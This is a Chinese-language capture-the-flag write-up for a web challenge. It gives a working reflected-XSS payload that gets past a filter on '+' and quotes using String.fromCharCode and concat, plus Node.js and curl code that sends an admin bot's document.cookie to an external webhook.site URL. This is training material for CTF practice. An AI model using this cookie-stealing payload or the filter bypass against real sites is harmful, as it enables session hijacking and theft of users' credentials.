Zombie-101的详细WP

JLing 2026-05-27 10:34:53 30 0


# Zombie-101 Writeup

## 题目信息

- **题目名称**: zombie-101
- **题目类型**: Web
- **URL**: http://49.232.142.230:14391
- **Flag 格式**: wctf{}
- **难度**: Easy

## 考点分析

- **XSS (Cross-Site Scripting)**:通过反射型 XSS 窃取 Admin Bot 的 Cookie
- **Admin Bot 模拟**:利用 `/visit` 端点触发 Admin Bot 访问恶意 URL
- **XSS 过滤绕过**:绕过对 `+` 和 `'`(单引号)的 WAF 过滤
- **数据外带 (Exfiltration)**:通过 `String.fromCharCode` + `concat` 构建外带 URL

---

## 解题思路

### 1. 信息收集

访问首页发现两个表单:

| 端点 | 方法 | 功能 |
|------|------|------|
| `/zombie?show=` | GET | 输入一个僵尸节目名称,页面会回显评价 |
| `/visit?url=` | GET | 提交一个 URL,Admin Bot 会访问它 |

### 2. XSS 探测

测试 `/zombie` 端点对不同 HTML 标签的过滤情况:

| Payload | 响应 | 说明 |
|---------|------|------|
| `<script>alert(1)</script>` | "Wow, we really liked..." | **可执行** |
| `<img src=x onerror=alert(1)>` | "Sorry...was horrible" | 被过滤 |
| `<svg/onload=alert(1)>` | "Yeah...was ok" | 不确定是否执行 |

进一步测试字符级别过滤:
- `+` → 被过滤("Sorry")
- `'`(单引号) → 被过滤("Sorry")
- `` ` ``(反引号) → "Yeah...ok"(不确定)
- `.`、`=`、`,`、`()` → 正常通过

### 3. 限制分析

`/visit` 端点的关键限制:

```
Please provide a url with a hostname of: 49.232.142.230
```

URL 的 hostname 必须为 `49.232.142.230`,不能直接使用外部 webhook 地址。

但 XSS 执行后,JavaScript 可以向外域发起请求(虽然受 CORS 限制无法读取响应,但 GET 请求仍会发送)。

### 4. 绕过过滤

由于 `+` 和 `'` 被过滤,需要使用替代方案:
- 字符串拼接:用 `.concat()` 替代 `+`
- 字符串字面量:用 `String.fromCharCode()` 替代引号

### 5. 构造 Payload

**目标**:让 Admin Bot 执行 XSS 后,将 `document.cookie` 发送到外部的 webhook。

**Webhook URL**: `https://webhook.site/<UUID>?c=`

**Payload 结构**:
```javascript
window.location=String.fromCharCode(104,116,116,112,115,...).concat(document.cookie)
```

其中数字数组是将 webhook URL 逐字符转换为 ASCII 码,避免使用引号。

### 6. 攻击链

```
用户提交 /visit?url=<encoded_XSS_URL>
→ 服务端解码 URL
→ Admin Bot (Zombie.js) 访问 /zombie?show=<script>...</script>
→ XSS 执行:读取 document.cookie
→ 拼接 webhook URL + cookie 并跳转
→ webhook 捕获请求,cookie 出现在 query string 中
```

---

## 关键代码

### 构建和提交 Exploit

```javascript
// Node.js: 构建攻击 URL
const webhook = 'https://webhook.site/01e9c89e-14c3-4960-a3eb-c1c06e6fdda6?c=';
const charcodes = [...webhook].map(c => c.charCodeAt(0)).join(',');
const payload = '<script>window.location=String.fromCharCode(' + charcodes + ').concat(document.cookie)</' + 'script>';
const targetUrl = 'http://49.232.142.230:14391/zombie?show=' + encodeURIComponent(payload);
const visitUrl = 'http://49.232.142.230:14391/visit?url=' + encodeURIComponent(targetUrl);
```

### cURL 命令

```bash
curl -s "http://49.232.142.230:14391/visit?url=http%3A%2F%2F49.232.142.230%3A14391%2Fzombie%3Fshow%3D%253Cscript%253Ewindow.location%253DString.fromCharCode(...).concat(document.cookie)%253C%252Fscript%253E"
```

### 检查 Webhook 回调

```bash
curl -s "https://webhook.site/token/<UUID>/requests?sorting=newest" \
-H "Accept: application/json"
```

---

## 结果

Admin Bot 的 Cookie:

```
flag=wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}
```

**Flag: `wctf{c14551c-4dm1n-807-ch41-n1c3-j08-93261}`**

Admin Bot 的 User-Agent:`Zombie.js/6.1.4`

---

## 注意事项

1. **双重 URL 编码**:`/visit?url=` 的参数值会被服务端解码一次再给 Admin Bot,而 Admin Bot 访问 `/zombie?show=` 时又会解码一次。因此需要双重编码(`%` → `%25`)。

2. **WAF 过滤粒度**:题目只过滤了 `+` 和 `'` 两个字符,`String.fromCharCode()` + `.concat()` 的组合可以完美绕过。

3. **Webhook 选择**:webhook.site 需要通过 API 创建 token(`POST /token` + `Accept: application/json`),不需要浏览器。

4. **window.location vs new Image().src**:两者都可以用于数据外带。`window.location` 会跳转页面但更可靠;`new Image().src` 在后台发送不影响页面,但加载失败可能不触发请求。

5. **XSS 响应分类**:题目用三种响应区分过滤结果 — "Wow"(可执行)、"Yeah"(边缘情况)、"Sorry"(被过滤),可以帮助快速定位 WAF 规则。

分类:WEB
image
作者:JLing

4

提交

0

收入

相关WriteUP

问题反馈